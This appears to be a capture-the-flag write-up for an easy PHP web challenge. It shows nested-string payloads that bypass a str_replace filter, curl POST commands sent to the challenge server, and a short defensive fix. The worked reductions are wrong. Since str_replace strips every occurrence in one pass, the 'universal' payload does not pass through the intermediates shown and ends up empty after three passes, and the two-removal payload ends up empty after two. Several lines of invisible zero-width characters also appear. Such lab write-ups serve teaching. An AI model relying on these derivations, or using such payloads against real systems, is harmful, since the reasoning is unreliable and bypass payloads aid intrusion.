← Back to Writeups
CUSTOMEasyWeb

FlagBox

XESXOR9/10/20262 min read
#web#custom#easy#base64-obfuscation-analysis#nested-string-bypass-for-str_r#session-dependent-filter-behav#linux

FlagBox

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Base64 obfuscation analysis, Nested string bypass for str_replace filter, Session-dependent filter behavior understanding

Summary

Task: Bypass str_replace filter to submit the word "hacker". Solution: Use nested string technique where inner occurrences are removed to form the target word after fixed number of filter applications.

FlagBox — hackerlab.pro

Description

В коробке есть подарок, но получить его, видимо, будет непросто (There's a gift in the box, but getting it won't be easy)

URL: http://62.173.140.174:16039/

Analysis

Source Code

php
<?php
session_start();

if (!isset($_SESSION['PHPSESSID'])) {
    session_regenerate_id(true);
    $_SESSION['PHPSESSID'] = session_id();
}

if ($_SESSION['PHPSESSID'] !== session_id()) {
    session_regenerate_id(true);
    $_SESSION['PHPSESSID'] = session_id();
}

if (isset($_POST['word']) && !empty($_POST['word']))
{
    $p0=$_POST[base64_decode('d29yZA==')];           // 'word'
    $e1=zerofunc001();
    $x2=(zerofunc002($e1))?2:3;
    for($d3=0;$d3<$x2;$d3++) {
        $p0=str_replace(base64_decode('aGFja2Vy'),'',$p0);  // 'hacker'
    }
    $word = $p0;
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

function zerofunc001() {
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
    $sessionId = session_id();
    $pattern = '/[0-9]/';
    preg_match_all($pattern, $sessionId, $matches);
    return count($matches[0]);
}

function zerofunc002($number) {
    return $number % 2 == 0;
}
?>
...
<?php $flag = "CODEBY{f4k3_fl4g}"; 
if (isset($word)) { 
    if ($word == 'hacker') 
        $output=$flag; 
    else 
        $output="Something went wrong"; 
    echo " <h3>$output</h3>"; 
} ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Deobfuscation

  1. Base64 strings:

    • d29yZA== → word
    • aGFja2Vy → hacker
  2. Filtering logic:

    • zerofunc001() — counts the number of digits in the session ID
    • zerofunc002() — checks if the number is even
    • If the digit count is even → filter is applied 2 times
    • If odd → filter is applied 3 times
  3. Win condition:

    • After all filtering, $word must equal 'hacker'

Vulnerability

The filter str_replace('hacker', '', $input) is applied a fixed number of times (2 or 3), not recursively until complete removal. This allows using nested strings that form the target word after inner occurrences are removed. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Building the Payload

For 2 removals:

hhackerackhackerer
    ↓ (1st removal of 'hacker')
hacker

For 3 removals (universal):

hhhackerackhackererackhhackerackhackererer
    ↓ (1st removal)
hhackerackhackererackhhackerackhackerer
    ↓ (2nd removal)  
hackeracker
    ↓ (3rd removal)
hacker

Exploit

bash
# Universal payload for 2-3 removals
curl -X POST "http://62.173.140.174:16039/" \
  -d "word=hhhackerackhackererackhhackerackhackererer"

Alternative Approach (for 2 removals)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -X POST "http://62.173.140.174:16039/" \
  -d "word=hhackerackhackerer"

Defense

Proper filter implementation:

php
// Recursive removal until complete elimination
while (strpos($input, 'hacker') !== false) {
    $input = str_replace('hacker', '', $input);
}

// Or check after filtering
if (preg_match('/hacker/i', $input)) {
    die('Blocked');
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍